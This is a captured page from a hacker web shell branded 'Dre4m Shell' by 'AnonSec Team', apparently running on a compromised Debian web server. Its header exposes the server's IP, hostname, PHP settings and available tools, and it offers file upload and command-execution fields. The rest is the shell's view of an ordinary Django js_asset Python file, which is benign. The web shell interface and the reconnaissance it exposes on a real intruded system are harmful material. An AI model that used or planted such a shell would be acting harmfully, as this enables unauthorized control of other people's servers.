Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.138.67.56
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /srv/modoboa/env/lib64/python3.5/site-packages/js_asset/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /srv/modoboa/env/lib64/python3.5/site-packages//js_asset/js.py
from __future__ import unicode_literals

import json

from django import VERSION
from django.apps import apps
from django.forms.utils import flatatt
from django.templatetags.static import static
from django.utils.html import format_html, mark_safe


__all__ = ("JS", "static")


if VERSION < (1, 10):  # pragma: no cover
    _static = static

    def static(path):
        if apps.is_installed("django.contrib.staticfiles"):
            from django.contrib.staticfiles.storage import staticfiles_storage

            return staticfiles_storage.url(path)
        return _static(path)


class JS(object):
    """
    Use this to insert a script tag via ``forms.Media`` containing additional
    attributes (such as ``id`` and ``data-*`` for CSP-compatible data
    injection.)::

        forms.Media(js=[
            JS('asset.js', {
                'id': 'asset-script',
                'data-answer': '"42"',
            }),
        ])

    The rendered media tag (via ``{{ media.js }}`` or ``{{ media }}`` will
    now contain a script tag as follows, without line breaks::

        <script type="text/javascript" src="/static/asset.js"
            data-answer="&quot;42&quot;" id="asset-script"></script>

    The attributes are automatically escaped. The data attributes may now be
    accessed inside ``asset.js``::

        var answer = document.querySelector('#asset-script').dataset.answer;
    """

    def __init__(self, js, attrs=None, static=True):
        self.js = js
        self.attrs = attrs or {}
        self.static = static

    def startswith(self, _):
        # Masquerade as absolute path so that we are returned as-is.
        return True

    def __repr__(self):
        return "JS({}, {}, static={})".format(
            self.js, json.dumps(self.attrs, sort_keys=True), self.static
        )

    def __html__(self):
        js = static(self.js) if self.static else self.js
        return (
            format_html('{}"{}', js, mark_safe(flatatt(self.attrs)))[:-1]
            if self.attrs
            else js
        )

    def __eq__(self, other):
        if isinstance(other, JS):
            return (
                self.js == other.js
                and self.attrs == other.attrs
                and self.static == other.static
            )
        return self.js == other and not self.attrs and self.static

    def __hash__(self):
        return hash((self.js, json.dumps(self.attrs, sort_keys=True), self.static))

Anon7 - 2022
AnonSec Team